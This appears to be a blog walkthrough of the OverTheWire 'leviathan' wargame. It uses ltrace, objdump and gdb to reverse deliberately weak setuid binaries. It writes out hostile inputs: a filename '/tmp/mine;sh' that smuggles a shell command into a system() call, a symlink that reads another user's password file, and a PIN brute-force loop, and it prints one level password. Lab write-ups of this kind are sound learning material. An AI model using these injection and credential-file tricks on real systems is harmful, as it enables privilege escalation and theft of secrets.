Those write-ups don’t assume much, if any, prior knowledge (I certainly didn’t have much to go on when I started leviathan). So if gdb and assembly is something you’re familiar with, there’s much you can skip.
Level 0
Bootstrap
Level 1
Now that’s interesting! In the other wargames (certainly bandit/krypton/vortex) each level is accompanied with some sort of description - a hint of sorts to put you in the right direction. No such luck here! We lend in a seemingly empty directory. A quick ‘ls -l’ shows a .backup directory, containing a file called bookmarks.html. A quick look through the file reveals a whole bunch of links - too many to sort through manually. Thankfully a search for leviathan reveals the password to the next level.
TODO: take a closer look at the bookmarks - there might be something interesting!
Level 2
Another ‘no info’ level - somehow I think this will be the norm from now on : ) We’re given a binary called ‘check’, which asks for password. Giving the wrong password terminates the program - but there are no hints as to what the passwords might be. Passing the binary through ‘strings’ doesn’t reveal much either. Strace is equally silent. But ltrace (library trace) opens the door for us:
leviathan1@melissa:~$ ltrace ./check
__libc_start_main(0x80484d4, 1, -10236, 0x80485a0, 0x8048600 <unfinished ...>
printf("password: ") = 10
getchar(0x8048660, 0x8049ff4, -10408, 0x80485b9, 0xf7ea8c3dpassword: blah
) = 98
getchar(0x8048660, 0x8049ff4, -10408, 0x80485b9, 0xf7ea8c3d) = 108
getchar(0x8048660, 0x8049ff4, -10408, 0x80485b9, 0xf7ea8c3d) = 97
strcmp("bla", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++
So it compares the first 3 characters to the word ‘sex’. And sure enough:
leviathan1@melissa:~$ ./check
password: sex
$ id
uid=12001(leviathan1) gid=12001(leviathan1) euid=12002(leviathan2) groups=12002(leviathan2),12001(leviathan1)
Level 3
We are given a single binary that seemingly prints a file. Looking at the attributes, it’s privilege escalation:
leviathan2@melissa:~$ ls -l
total 8
-r-sr-x--- 1 leviathan3 leviathan2 7293 2012-06-28 14:54 printfile
Using ltrace again, we see:
leviathan2@melissa:~$ ltrace ./printfile /tmp/mine1
__libc_start_main(0x80484d4, 2, -10252, 0x80485b0, 0x8048610 <unfinished ...>
access("/tmp/mine1", 4) = 0
snprintf("/bin/cat /tmp/mine1", 511, "/bin/cat %s", "/tmp/mine1") = 19
system("/bin/cat /tmp/mine1" <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
So even though it’s using snprintf (safe print), it does a call to system with whatever was pass in as an argument. The only caveat is that it checks the file we pass in for permissions (the access call) so it must exist and be owned by us. What about passing in a file whose name is essentially a command? Like ‘/tmp/mine;sh’
leviathan2@melissa:~$ ./printfile "/tmp/mine;sh"
/bin/cat: /tmp/mine: Is a directory
$ id
uid=12002(leviathan2) gid=12002(leviathan2) euid=12003(leviathan3) groups=12003(leviathan3),12002(leviathan2)
(The line about the directory is a red herring - it was probably put there by another player)
TODO: What about using symlinks??
Level 4
That one was a rather large step above the previous level. Using ltrace didn’t show any strcmp calls:
leviathan3@melissa:~$ ltrace ./level3
__libc_start_main(0x8048580, 1, -10236, 0x80485b0, 0x8048610 <unfinished ...>
__printf_chk(1, 0x80486aa, 0x80485bb, 0xf7fd2ff4, 0x80485b0) = 20
fgets(Enter the password> spam
"spam\n", 256, 0xf7fd3440) = 0xffffd62c
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
Something happens to our input, which I assume is compared to something else in one way or another. Running ‘strings’ on the binary doesn’t reveal much either. Just a handful of strings like snlprintf, bzzzzzap. WRONG, You’ve got a shell etc. To get a bit more clarity, we can dump the rodata section of the binary (where things like strings are stored - or so I’m told): ‘objdump -s -j .rodata level3’. Sure enough, we see:
leviathan3@melissa:~$ objdump -s -j .rodata level3
level3: file format elf32-i386
Contents of section .rodata:
8048668 03000000 01000200 736e6c70 72696e74 ........snlprint
8048678 660a005b 596f7527 76652067 6f742073 f..[You've got s
8048688 68656c6c 5d21002f 62696e2f 73680062 hell]!./bin/sh.b
8048698 7a7a7a7a 7a7a7a7a 61702e20 57524f4e zzzzzzzzap. WRON
80486a8 4700456e 74657220 74686520 70617373 G.Enter the pass
80486b8 776f7264 3e2000 word> .
This doesn’t leave us much choice apart from using gdb:
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x8048583
(gdb) run
Starting program: /home/leviathan3/level3
Breakpoint 1, 0x08048583 in main ()
(gdb) disassemble
Dump of assembler code for function main:
0x08048580 <+0>: push ebp
0x08048581 <+1>: mov ebp,esp
=> 0x08048583 <+3>: and esp,0xfffffff0
0x08048586 <+6>: sub esp,0x10
0x08048589 <+9>: mov DWORD PTR [esp+0x4],0x80486aa
0x08048591 <+17>: mov DWORD PTR [esp],0x1
0x08048598 <+24>: call 0x80483d0 <__printf_chk@plt>
0x0804859d <+29>: call 0x80484f0 <do_stuff>
0x080485a2 <+34>: xor eax,eax
0x080485a4 <+36>: leave
0x080485a5 <+37>: ret
End of assembler dump.
The function ‘do_stuff’ sounds interesting:
(gdb) break do_stuff
Breakpoint 2 at 0x80484f4
(gdb) run
Once we hit the 2nd breakpoint, a quick peek through ‘disassemble’ yields some more information. The snippet below is of particular interest:
0x08048525 <+53>: call 0x80483f0 <fgets@plt>
0x0804852a <+58>: mov ecx,0xb
0x0804852f <+63>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x08048531 <+65>: je 0x8048558 <do_stuff+104>
0x08048533 <+67>: mov DWORD PTR [esp],0x8048697
...
(gdb) x/s 0x8048697
0x8048697: "bzzzzzzzzap. WRONG"
Aha - we’re getting closer. It sounds like if the ‘repz cmps’ is not successful, we’ll end up with the string located at 0x8048697 and it’s game over. But let’s see what’s being compared. For that we examine what’s in esi and edi:
(gdb) break *0x0804852f
Breakpoint 3 at 0x804852f
(gdb) continue
Continuing.
Enter the password> blah
Breakpoint 3, 0x0804852f in do_stuff ()
(gdb) x/s $edi
0x8048670: "snlprintf\n"
(gdb) x/s $esi
0xffffd5fc: "blah\n"
So what I mistook for some sort of function call is actually the password? And sure enough it is!
Level 4
A quick look through the directory reveals a hidden trash directory, containing a binary that yields what seems like a binary representation of the password (we count 10 groups, and passwords have all been 10 characters so far):
leviathan4@melissa:~$ ls -la
total 24
drwxr-xr-x 3 root root 4096 2012-06-29 10:45 .
drwxr-xr-x 128 root root 4096 2012-09-24 12:48 ..
-rw-r--r-- 1 root root 220 2011-03-31 23:20 .bash_logout
-rw-r--r-- 1 root root 3353 2011-03-31 23:20 .bashrc
-rw-r--r-- 1 root root 675 2011-03-31 23:20 .profile
dr-xr-x--- 2 root leviathan4 4096 2012-06-29 10:45 .trash
leviathan4@melissa:~$ cd .trash/
leviathan4@melissa:~/.trash$ ls
bin
leviathan4@melissa:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010
I’d guess each group of 8 bits is a character. Being eager to test that theory out, I pasted the string above in this web site and got what looked like a 10-character password for leviathan 5. And I was right ^_^
TODO: Follow-up on the below
But that’s not much fun and a bit too obvious. So let’s use gdb once more and see what we can find. But something’s not right:
(gdb) break main
Breakpoint 1 at 0x8048467
(gdb) run
Starting program: /home/leviathan4/.trash/bin
Breakpoint 1, 0x08048467 in main ()
(gdb) continue
Continuing.
Program exited with code 0377.
Exit code 0377? Looking at the manual for ‘exit(3)’, we see this function returns ‘status & 0377’ so status must have been 0xffff. Nothing much to see here. Going back to the disassembly, we see a call to fopen - so let’s see what arguments are being passed:
(gdb) break *0x0804847f
...
0x0804847c <+24>: mov DWORD PTR [esp],eax
=> 0x0804847f <+27>: call 0x80483a0 <fopen@plt>
...
(gdb) x/s $eax
0x8048614: "/etc/leviathan_pass/leviathan5"
Okay - so it opens up the password for level 5. So far so good.
Level 5
The binary given seems to expect a file named ‘/tmp/file.log’. A quick go at creating a file shows the program just outputs its content (echo ‘yo’ > /tmp/file.log) and then deletes the file. So why not create a symlink to the next level?
leviathan5@melissa:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@melissa:~$ ./leviathan5
UgaoFee4li
Mmm. Is that really it?
Level 6
This level has a very easy solution. But after disassembling binaries for most of this game, the ‘simpler’ solution only came to me after spending longer than I feel comfortable admitting. My first point of call was to fire up gdb (bad habit)… The disassembly for the whole binary is actually quite small:
Breakpoint 1, 0x080484b7 in main ()
(gdb) disass
Dump of assembler code for function main:
0x080484b4 <+0>: push ebp
0x080484b5 <+1>: mov ebp,esp
=> 0x080484b7 <+3>: and esp,0xfffffff0
0x080484ba <+6>: sub esp,0x20
0x080484bd <+9>: mov DWORD PTR [esp+0x1c],0x1bd3
0x080484c5 <+17>: cmp DWORD PTR [ebp+0x8],0x2
0x080484c9 <+21>: je 0x80484ed <main+57>
0x080484cb <+23>: mov eax,DWORD PTR [ebp+0xc]
0x080484ce <+26>: mov edx,DWORD PTR [eax]
0x080484d0 <+28>: mov eax,0x80485f0
0x080484d5 <+33>: mov DWORD PTR [esp+0x4],edx
0x080484d9 <+37>: mov DWORD PTR [esp],eax
0x080484dc <+40>: call 0x80483a4 <printf@plt>
0x080484e1 <+45>: mov DWORD PTR [esp],0xffffffff
0x080484e8 <+52>: call 0x80483e4 <exit@plt>
0x080484ed <+57>: mov eax,DWORD PTR [ebp+0xc]
0x080484f0 <+60>: add eax,0x4
0x080484f3 <+63>: mov eax,DWORD PTR [eax]
0x080484f5 <+65>: mov DWORD PTR [esp],eax
0x080484f8 <+68>: call 0x80483b4 <atoi@plt>
0x080484fd <+73>: cmp eax,DWORD PTR [esp+0x1c]
0x08048501 <+77>: jne 0x804851d <main+105>
0x08048503 <+79>: mov DWORD PTR [esp],0x3ef
0x0804850a <+86>: call 0x80483d4 <seteuid@plt>
0x0804850f <+91>: mov DWORD PTR [esp],0x804860a
0x08048516 <+98>: call 0x8048384 <system@plt>
0x0804851b <+103>: jmp 0x8048529 <main+117>
0x0804851d <+105>: mov DWORD PTR [esp],0x8048612
0x08048524 <+112>: call 0x80483c4 <puts@plt>
0x08048529 <+117>: leave
0x0804852a <+118>: ret
We can spot a few things quite quickly. For instance, the call to seteuid. So the:
0x080484fd <+73>: cmp eax,DWORD PTR [esp+0x1c]
0x08048501 <+77>: jne 0x804851d <main+105>
is our ticket home. Here we’re comparing eax with whatever’s in esp+0x1c.
(gdb) x/d $esp+0x1c
0xffffd70c: 7123
7123? Wait - isn’t that the same as:
mov DWORD PTR [esp+0x1c],0x1bd3
at the beginning? Tada!
Taking a step back however, it’s just a case of brute-forcing the binary - and as far as I could tell, there was no induced delay. 4 digits, that’s 10^4 possibilities. A simple bash expression would have meant we’d be home free pretty quickly:
leviathan5@melissa:~$ for i in `seq -w 7000 9999`; do echo ${i};./leviathan6 ${i}; done
...
7122
Wrong
7123
$ whoami
leviathan7
So trying the simplest solution first would have saved me some time. Heh…
And this is the last of leviathan. To be fair though, I would have liked to spend more time understanding the assembly code itself. And I think some basic understanding is definitely required. But if I were to do this full time, I’d invest some serious money into getting a license for IDAPro. Some compilers will re-arrange expressions to optimise code - and that would probably lead to even more obfuscated code. But as a starting point, this challenge has proved to be very educational and I wouldn’t hesitate to whip out gdb again.